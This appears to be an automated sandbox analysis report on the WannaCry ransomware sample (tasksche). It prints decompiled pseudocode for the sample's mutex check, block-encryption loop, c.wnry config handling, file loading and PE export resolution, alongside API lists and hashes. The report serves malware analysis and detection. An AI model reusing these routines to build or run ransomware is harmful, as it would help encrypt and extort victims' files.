                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401f26
                                                                                                0x00401f26
                                                                                                0x00401f31
                                                                                                0x00401f39
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401f40
                                                                                                0x00401f46
                                                                                                0x00401f4a
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401f4a
                                                                                                0x00401f52
                                                                                                0x00401f5a
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • sprintf.MSVCRT(?,%s%d,Global\MsWinZonesCacheCounterMutexA,00000000), ref: 00401F16
                                                                                                • OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
                                                                                                • Sleep.KERNEL32(000003E8), ref: 00401F40
                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00401F52
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: CloseHandleMutexOpenSleepsprintf
                                                                                                • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA
                                                                                                • API String ID: 2780352083-2959021817
                                                                                                • Opcode ID: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                                                                                • Instruction ID: f4a3b48a0bafa41ae68b0177be176e29d76f271436d11399ade0a1af8f7a19ee
                                                                                                • Opcode Fuzzy Hash: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                                                                                • Instruction Fuzzy Hash: 92F0E931A40305BBDB20EBA49E4AB9B7758AB04B40F104036F945FA0D2DBB8D54586D8
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00403A77 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 59%
                                                                                                			E00403A77(void* __ecx, void* _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				void* _v12;
				char _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v48;
				signed int _t121;
				int _t124;
				intOrPtr* _t126;
				intOrPtr _t127;
				int _t131;
				intOrPtr* _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t143;
				signed int _t150;
				intOrPtr _t160;
				int _t161;
				int _t163;
				signed int _t164;
				signed int _t165;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				signed int _t172;
				signed int _t175;
				signed int _t178;
				intOrPtr _t194;
				void* _t195;
				void* _t196;
				void* _t197;
				intOrPtr _t198;
				void* _t201;

				_t197 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
				}
				_t121 = _a12;
				if(_t121 == 0) {
					L15:
					__imp__??0exception@@QAE@ABQBD@Z(0x40f574);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
					_push( &_v16);
					_push(0);
					_push(_t197);
					_t198 = _v36;
					_t194 = _v32;
					_t168 =  *((intOrPtr*)(_t198 + 0x30));
					_t160 =  *((intOrPtr*)(_t198 + 0x34));
					_t71 = _t194 + 0xc; // 0x40d568
					_v48 =  *_t71;
					_v32 = _t168;
					if(_t168 > _t160) {
						_t160 =  *((intOrPtr*)(_t198 + 0x2c));
					}
					_t75 = _t194 + 0x10; // 0x19930520
					_t124 =  *_t75;
					_t161 = _t160 - _t168;
					if(_t161 > _t124) {
						_t161 = _t124;
					}
					if(_t161 != 0 && _a8 == 0xfffffffb) {
						_a8 = _a8 & 0x00000000;
					}
					 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t161;
					 *(_t194 + 0x10) = _t124 - _t161;
					_t126 =  *((intOrPtr*)(_t198 + 0x38));
					if(_t126 != 0) {
						_t137 =  *_t126( *((intOrPtr*)(_t198 + 0x3c)), _t168, _t161);
						 *((intOrPtr*)(_t198 + 0x3c)) = _t137;
						_t201 = _t201 + 0xc;
						 *((intOrPtr*)(_t194 + 0x30)) = _t137;
					}
					if(_t161 != 0) {
						memcpy(_v12, _a4, _t161);
						_v12 = _v12 + _t161;
						_t201 = _t201 + 0xc;
						_a4 = _a4 + _t161;
					}
					_t127 =  *((intOrPtr*)(_t198 + 0x2c));
					if(_a4 == _t127) {
						_t169 =  *((intOrPtr*)(_t198 + 0x28));
						_a4 = _t169;
						if( *((intOrPtr*)(_t198 + 0x34)) == _t127) {
							 *((intOrPtr*)(_t198 + 0x34)) = _t169;
						}
						_t99 = _t194 + 0x10; // 0x19930520
						_t131 =  *_t99;
						_t163 =  *((intOrPtr*)(_t198 + 0x34)) - _t169;
						if(_t163 > _t131) {
							_t163 = _t131;
						}
						if(_t163 != 0 && _a8 == 0xfffffffb) {
							_a8 = _a8 & 0x00000000;
						}
						 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t163;
						 *(_t194 + 0x10) = _t131 - _t163;
						_t133 =  *((intOrPtr*)(_t198 + 0x38));
						if(_t133 != 0) {
							_t135 =  *_t133( *((intOrPtr*)(_t198 + 0x3c)), _t169, _t163);
							 *((intOrPtr*)(_t198 + 0x3c)) = _t135;
							_t201 = _t201 + 0xc;
							 *((intOrPtr*)(_t194 + 0x30)) = _t135;
						}
						if(_t163 != 0) {
							memcpy(_v12, _a4, _t163);
							_v12 = _v12 + _t163;
							_a4 = _a4 + _t163;
						}
					}
					 *(_t194 + 0xc) = _v12;
					 *((intOrPtr*)(_t198 + 0x30)) = _a4;
					return _a8;
				} else {
					_t170 =  *(_t197 + 0x3cc);
					if(_t121 % _t170 != 0) {
						goto L15;
					} else {
						if(_a16 != 1) {
							_t195 = _a4;
							_t139 = _a12;
							_a16 = 0;
							_t164 = _a8;
							if(_a16 != 2) {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E00403797(_t197, _t195, _t164);
										_t172 =  *(_t197 + 0x3cc);
										_t195 = _t195 + _t172;
										_t143 = _a12 / _t172;
										_t164 = _t164 + _t172;
										_a16 = _a16 + 1;
									} while (_a16 < _t143);
									return _t143;
								}
							} else {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E0040350F(_t197, _t197 + 0x3f0, _t164);
										E00403A28(_t197, _t164, _t195);
										memcpy(_t197 + 0x3f0, _t195,  *(_t197 + 0x3cc));
										_t175 =  *(_t197 + 0x3cc);
										_t201 = _t201 + 0xc;
										_t150 = _a12 / _t175;
										_t195 = _t195 + _t175;
										_t164 = _t164 + _t175;
										_a16 = _a16 + 1;
									} while (_a16 < _t150);
									return _t150;
								}
							}
						} else {
							_t196 = _a4;
							_t140 = _a12 / _t170;
							_a16 = 0;
							_t165 = _a8;
							if(_t140 > 0) {
								do {
									E00403797(_t197, _t196, _t165);
									E00403A28(_t197, _t165, _t197 + 0x3f0);
									memcpy(_t197 + 0x3f0, _t196,  *(_t197 + 0x3cc));
									_t178 =  *(_t197 + 0x3cc);
									_t201 = _t201 + 0xc;
									_t140 = _a12 / _t178;
									_t196 = _t196 + _t178;
									_t165 = _t165 + _t178;
									_a16 = _a16 + 1;
								} while (_a16 < _t140);
							}
						}
						return _t140;
					}
				}
			}





































                                                                                                0x00403a7f
                                                                                                0x00403a87
                                                                                                0x00403a91
                                                                                                0x00403a9a
                                                                                                0x00403a9f
                                                                                                0x00403aa0
                                                                                                0x00403aa0
                                                                                                0x00403aa5
                                                                                                0x00403aaa
                                                                                                0x00403bba
                                                                                                0x00403bc2
                                                                                                0x00403bcb
                                                                                                0x00403bd0
                                                                                                0x00403bd1
                                                                                                0x00403bd9
                                                                                                0x00403bda
                                                                                                0x00403bdb
                                                                                                0x00403bdc
                                                                                                0x00403be0
                                                                                                0x00403be3
                                                                                                0x00403be6
                                                                                                0x00403be9
                                                                                                0x00403bee
                                                                                                0x00403bf1
                                                                                                0x00403bf4
                                                                                                0x00403bf6
                                                                                                0x00403bf6
                                                                                                0x00403bf9
                                                                                                0x00403bf9
                                                                                                0x00403bfc
                                                                                                0x00403c00
                                                                                                0x00403c02
                                                                                                0x00403c02
                                                                                                0x00403c06
                                                                                                0x00403c0e
                                                                                                0x00403c0e
                                                                                                0x00403c12
                                                                                                0x00403c17
                                                                                                0x00403c1a
                                                                                                0x00403c1f
                                                                                                0x00403c26
                                                                                                0x00403c28
                                                                                                0x00403c2b
                                                                                                0x00403c2e
                                                                                                0x00403c2e
                                                                                                0x00403c33
                                                                                                0x00403c3c
                                                                                                0x00403c41
                                                                                                0x00403c44
                                                                                                0x00403c47
                                                                                                0x00403c47
                                                                                                0x00403c4a
                                                                                                0x00403c50
                                                                                                0x00403c52
                                                                                                0x00403c58
                                                                                                0x00403c5b
                                                                                                0x00403c5d
                                                                                                0x00403c5d
                                                                                                0x00403c63
                                                                                                0x00403c63
                                                                                                0x00403c66
                                                                                                0x00403c6a
                                                                                                0x00403c6c
                                                                                                0x00403c6c
                                                                                                0x00403c70
                                                                                                0x00403c78
                                                                                                0x00403c78
                                                                                                0x00403c7c
                                                                                                0x00403c81
                                                                                                0x00403c84
                                                                                                0x00403c89
                                                                                                0x00403c90
                                                                                                0x00403c92
                                                                                                0x00403c95
                                                                                                0x00403c98
                                                                                                0x00403c98
                                                                                                0x00403c9d
                                                                                                0x00403ca6
                                                                                                0x00403cab
                                                                                                0x00403cb1
                                                                                                0x00403cb1
                                                                                                0x00403c9d
                                                                                                0x00403cb7
                                                                                                0x00403cbd
                                                                                                0x00403cc7
                                                                                                0x00403ab0
                                                                                                0x00403ab0
                                                                                                0x00403abc
                                                                                                0x00000000
                                                                                                0x00403ac2
                                                                                                0x00403ac6
                                                                                                0x00403b2c
                                                                                                0x00403b2f
                                                                                                0x00403b32
                                                                                                0x00403b35
                                                                                                0x00403b38
                                                                                                0x00403b8d
                                                                                                0x00403b91
                                                                                                0x00403b93
                                                                                                0x00403b97
                                                                                                0x00403b9c
                                                                                                0x00403ba7
                                                                                                0x00403ba9
                                                                                                0x00403bab
                                                                                                0x00403bad
                                                                                                0x00403bb0
                                                                                                0x00000000
                                                                                                0x00403b93
                                                                                                0x00403b3a
                                                                                                0x00403b3c
                                                                                                0x00403b40
                                                                                                0x00403b42
                                                                                                0x00403b4c
                                                                                                0x00403b55
                                                                                                0x00403b68
                                                                                                0x00403b6d
                                                                                                0x00403b78
                                                                                                0x00403b7b
                                                                                                0x00403b7d
                                                                                                0x00403b7f
                                                                                                0x00403b81
                                                                                                0x00403b84
                                                                                                0x00000000
                                                                                                0x00403b42
                                                                                                0x00403b40
                                                                                                0x00403ac8
                                                                                                0x00403acb
                                                                                                0x00403ace
                                                                                                0x00403ad0
                                                                                                0x00403ad3
                                                                                                0x00403ad8
                                                                                                0x00403ada
                                                                                                0x00403ade
                                                                                                0x00403aed
                                                                                                0x00403b00
                                                                                                0x00403b05
                                                                                                0x00403b10
                                                                                                0x00403b13
                                                                                                0x00403b15
                                                                                                0x00403b17
                                                                                                0x00403b19
                                                                                                0x00403b1c
                                                                                                0x00403ada
                                                                                                0x00403ad8
                                                                                                0x00403b25
                                                                                                0x00403b25
                                                                                                0x00403abc

                                                                                                APIs
                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,00000001), ref: 00403A91
                                                                                                • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403AA0
                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B00
                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B68
                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574,?,?,?,?,?,00000001), ref: 00403BC2
                                                                                                • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403BD1
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                                • String ID:
                                                                                                • API String ID: 2382887404-0
                                                                                                • Opcode ID: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                                                                                                • Instruction ID: 9805a50700f74263afb1320d00d27f30e93ca80038ec105a2d2f515762341bf2
                                                                                                • Opcode Fuzzy Hash: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                                                                                                • Instruction Fuzzy Hash: 8541C870B40206ABDB14DE65DD81D9B77BEEB84309B00443FF815B3281D778AB15C759
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • fopen.MSVCRT(c.wnry,0040E018), ref: 0040101B
                                                                                                • fread.MSVCRT(?,0000030C,00000001,00000000), ref: 0040103F
                                                                                                • fwrite.MSVCRT(?,0000030C,00000001,00000000), ref: 00401047
                                                                                                • fclose.MSVCRT(00000000), ref: 00401058
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: fclosefopenfreadfwrite
                                                                                                • String ID: c.wnry
                                                                                                • API String ID: 4000964834-3240288721
                                                                                                • Opcode ID: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                                                                                • Instruction ID: 4fc4ee2583eead98f325da0eb4a8e2a7a7827d82b7f69226d67b1691b23a23d5
                                                                                                • Opcode Fuzzy Hash: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                                                                                • Instruction Fuzzy Hash: 0CF05931204260ABCA301F656D4AA277B10DBC4F61F10083FF1C1F40E2CABD44C296BE
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004018F9 Relevance: 7.6, APIs: 5, Instructions: 79filememoryCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 24%
                                                                                                			E004018F9(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				struct _OVERLAPPED* _v8;
				char _v20;
				long _v32;
				struct _OVERLAPPED* _v36;
				long _v40;
				signed int _v44;
				void* _t18;
				void* _t28;
				long _t34;
				intOrPtr _t38;

				_push(0xffffffff);
				_push(0x4081f0);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t38;
				_v44 = _v44 | 0xffffffff;
				_v32 = 0;
				_v36 = 0;
				_v8 = 0;
				_t18 = CreateFileA(_a12, 0x80000000, 1, 0, 3, 0, 0);
				_v44 = _t18;
				if(_t18 != 0xffffffff) {
					_t34 = GetFileSize(_t18, 0);
					_v40 = _t34;
					if(_t34 != 0xffffffff && _t34 <= 0x19000) {
						_t28 = GlobalAlloc(0, _t34);
						_v36 = _t28;
						if(_t28 != 0 && ReadFile(_v44, _t28, _t34,  &_v32, 0) != 0) {
							_push(_a8);
							_push(0);
							_push(0);
							_push(_v32);
							_push(_t28);
							_push(_a4);
							if( *0x40f898() != 0) {
								_push(1);
								_pop(0);
							}
						}
					}
				}
				_push(0xffffffff);
				_push( &_v20);
				L004076FA();
				 *[fs:0x0] = _v20;
				return 0;
			}













                                                                                                0x004018fc
                                                                                                0x004018fe
                                                                                                0x00401903
                                                                                                0x0040190e
                                                                                                0x0040190f
                                                                                                0x0040191c
                                                                                                0x00401922
                                                                                                0x00401925
                                                                                                0x00401928
                                                                                                0x0040193a
                                                                                                0x00401940
                                                                                                0x00401946
                                                                                                0x00401950
                                                                                                0x00401952
                                                                                                0x00401958
                                                                                                0x0040196a
                                                                                                0x0040196c
                                                                                                0x00401971
                                                                                                0x00401987
                                                                                                0x0040198a
                                                                                                0x0040198b
                                                                                                0x0040198c
                                                                                                0x0040198f
                                                                                                0x00401990
                                                                                                0x0040199b
                                                                                                0x0040199d
                                                                                                0x0040199f
                                                                                                0x0040199f
                                                                                                0x0040199b
                                                                                                0x00401971
                                                                                                0x00401958
                                                                                                0x004019a0
                                                                                                0x004019a5
                                                                                                0x004019a6
                                                                                                0x004019d5
                                                                                                0x004019e0

                                                                                                APIs
                                                                                                • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040193A
                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040194A
                                                                                                • GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 00401964
                                                                                                • ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,?,?,?,?,?,?,00401448,?), ref: 0040197D
                                                                                                • _local_unwind2.MSVCRT(?,000000FF,?,?,?,?,?,?,00401448,?), ref: 004019A6
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: File$AllocCreateGlobalReadSize_local_unwind2
                                                                                                • String ID:
                                                                                                • API String ID: 2811923685-0
                                                                                                • Opcode ID: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                                                                                • Instruction ID: fb063a64e2dc49fc25d010f75d45645ced701e765f932c996de96a45c5b9f027
                                                                                                • Opcode Fuzzy Hash: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                                                                                • Instruction Fuzzy Hash: B62160B1901624AFCB209B99CD48FDF7E78EB097B0F54022AF525B22E0D7785805C6AC
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00405BAE Relevance: 6.1, APIs: 4, Instructions: 93fileCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 97%
                                                                                                			E00405BAE(CHAR* _a4, intOrPtr _a8, long _a12, void* _a16) {
				char _v5;
				char _v6;
				long _t30;
				char _t32;
				long _t34;
				void* _t46;
				intOrPtr* _t49;
				long _t50;

				_t30 = _a12;
				if(_t30 == 1 || _t30 == 2 || _t30 == 3) {
					_t49 = _a16;
					_t46 = 0;
					_v6 = 0;
					 *_t49 = 0;
					_v5 = 0;
					if(_t30 == 1) {
						_t46 = _a4;
						_v5 = 0;
						L11:
						_t30 = SetFilePointer(_t46, 0, 0, 1);
						_v6 = _t30 != 0xffffffff;
						L12:
						_push(0x20);
						L00407700();
						_t50 = _t30;
						if(_a12 == 1 || _a12 == 2) {
							 *_t50 = 1;
							 *((char*)(_t50 + 0x10)) = _v5;
							_t32 = _v6;
							 *((char*)(_t50 + 1)) = _t32;
							 *(_t50 + 4) = _t46;
							 *((char*)(_t50 + 8)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
							if(_t32 != 0) {
								 *((intOrPtr*)(_t50 + 0xc)) = SetFilePointer(_t46, 0, 0, 1);
							}
						} else {
							 *_t50 = 0;
							 *((intOrPtr*)(_t50 + 0x14)) = _a4;
							 *((char*)(_t50 + 1)) = 1;
							 *((char*)(_t50 + 0x10)) = 0;
							 *((intOrPtr*)(_t50 + 0x18)) = _a8;
							 *((intOrPtr*)(_t50 + 0x1c)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
						}
						 *_a16 = 0;
						_t34 = _t50;
						goto L18;
					}
					if(_t30 != 2) {
						goto L12;
					}
					_t46 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
					if(_t46 != 0xffffffff) {
						_v5 = 1;
						goto L11;
					}
					 *_t49 = 0x200;
					goto L8;
				} else {
					 *_a16 = 0x10000;
					L8:
					_t34 = 0;
					L18:
					return _t34;
				}
			}











                                                                                                0x00405bb2
                                                                                                0x00405bbb
                                                                                                0x00405bd2
                                                                                                0x00405bd7
                                                                                                0x00405bdc
                                                                                                0x00405bdf
                                                                                                0x00405be1
                                                                                                0x00405be4
                                                                                                0x00405c18
                                                                                                0x00405c1b
                                                                                                0x00405c24
                                                                                                0x00405c29
                                                                                                0x00405c32
                                                                                                0x00405c36
                                                                                                0x00405c36
                                                                                                0x00405c38
                                                                                                0x00405c42
                                                                                                0x00405c44
                                                                                                0x00405c6c
                                                                                                0x00405c6f
                                                                                                0x00405c72
                                                                                                0x00405c77
                                                                                                0x00405c7a
                                                                                                0x00405c7d
                                                                                                0x00405c80
                                                                                                0x00405c83
                                                                                                0x00405c90
                                                                                                0x00405c90
                                                                                                0x00405c4c
                                                                                                0x00405c4f
                                                                                                0x00405c51
                                                                                                0x00405c57
                                                                                                0x00405c5b
                                                                                                0x00405c5e
                                                                                                0x00405c61
                                                                                                0x00405c64
                                                                                                0x00405c64
                                                                                                0x00405c96
                                                                                                0x00405c98
                                                                                                0x00000000
                                                                                                0x00405c98
                                                                                                0x00405be9
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00405c04
                                                                                                0x00405c09
                                                                                                0x00405c20
                                                                                                0x00000000
                                                                                                0x00405c20
                                                                                                0x00405c0b
                                                                                                0x00000000
                                                                                                0x00405bc7
                                                                                                0x00405bca
                                                                                                0x00405c11
                                                                                                0x00405c11
                                                                                                0x00405c9a
                                                                                                0x00405c9e
                                                                                                0x00405c9e

                                                                                                APIs
                                                                                                • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001), ref: 00405BFE
                                                                                                • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000020,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000,004020D5,?), ref: 00405C38
                                                                                                • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: File$Pointer$??2@Create
                                                                                                • String ID:
                                                                                                • API String ID: 1331958074-0
                                                                                                • Opcode ID: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                                                                                • Instruction ID: 771dcc1d5a31089dd4cc2aab62cbbe5a226dda330bf0289da8f54b52fc8588cb
                                                                                                • Opcode Fuzzy Hash: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                                                                                • Instruction Fuzzy Hash: 0831F231008784AFDB318F28888479BBBF4EF15350F18896EF491A7380C375AD85CB69
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00402924 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 37%
                                                                                                			E00402924(intOrPtr* _a4, char _a8) {
				intOrPtr _v8;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr _t30;
				void* _t32;
				signed int _t33;
				signed int _t37;
				signed short* _t41;
				intOrPtr _t44;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				void* _t59;

				_t26 = _a4;
				_t44 =  *((intOrPtr*)(_t26 + 4));
				_t28 =  *_t26 + 0x78;
				_v8 = _t44;
				if( *((intOrPtr*)(_t28 + 4)) == 0) {
					L11:
					SetLastError(0x7f);
					_t29 = 0;
				} else {
					_t58 =  *_t28;
					_t30 =  *((intOrPtr*)(_t58 + _t44 + 0x18));
					_t59 = _t58 + _t44;
					if(_t30 == 0 ||  *((intOrPtr*)(_t59 + 0x14)) == 0) {
						goto L11;
					} else {
						_t8 =  &_a8; // 0x402150
						if( *_t8 >> 0x10 != 0) {
							_t55 =  *((intOrPtr*)(_t59 + 0x20)) + _t44;
							_t41 =  *((intOrPtr*)(_t59 + 0x24)) + _t44;
							_a4 = 0;
							if(_t30 <= 0) {
								goto L11;
							} else {
								while(1) {
									_t32 =  *_t55 + _t44;
									_t15 =  &_a8; // 0x402150
									__imp___stricmp( *_t15, _t32);
									if(_t32 == 0) {
										break;
									}
									_a4 = _a4 + 1;
									_t55 = _t55 + 4;
									_t41 =  &(_t41[1]);
									if(_a4 <  *((intOrPtr*)(_t59 + 0x18))) {
										_t44 = _v8;
										continue;
									} else {
										goto L11;
									}
									goto L12;
								}
								_t33 =  *_t41 & 0x0000ffff;
								_t44 = _v8;
								goto L14;
							}
						} else {
							_t9 =  &_a8; // 0x402150
							_t37 =  *_t9 & 0x0000ffff;
							_t49 =  *((intOrPtr*)(_t59 + 0x10));
							if(_t37 < _t49) {
								goto L11;
							} else {
								_t33 = _t37 - _t49;
								L14:
								if(_t33 >  *((intOrPtr*)(_t59 + 0x14))) {
									goto L11;
								} else {
									_t29 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x1c)) + _t33 * 4 + _t44)) + _t44;
								}
							}
						}
					}
				}
				L12:
				return _t29;
			}

















                                                                                                0x00402928
                                                                                                0x0040292f
                                                                                                0x00402934
                                                                                                0x00402938
                                                                                                0x0040293e
                                                                                                0x004029a5
                                                                                                0x004029a7
                                                                                                0x004029ad
                                                                                                0x00402940
                                                                                                0x00402940
                                                                                                0x00402942
                                                                                                0x00402946
                                                                                                0x0040294a
                                                                                                0x00000000
                                                                                                0x00402951
                                                                                                0x00402951
                                                                                                0x0040295a
                                                                                                0x00402971
                                                                                                0x00402973
                                                                                                0x00402977
                                                                                                0x0040297a
                                                                                                0x00000000
                                                                                                0x0040297c
                                                                                                0x00402981
                                                                                                0x00402983
                                                                                                0x00402986
                                                                                                0x00402989
                                                                                                0x00402993
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402995
                                                                                                0x00402998
                                                                                                0x0040299f
                                                                                                0x004029a3
                                                                                                0x0040297e
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004029a3
                                                                                                0x004029b4
                                                                                                0x004029b7
                                                                                                0x00000000
                                                                                                0x004029b7
                                                                                                0x0040295c
                                                                                                0x0040295c
                                                                                                0x0040295c
                                                                                                0x00402960
                                                                                                0x00402965
                                                                                                0x00000000
                                                                                                0x00402967
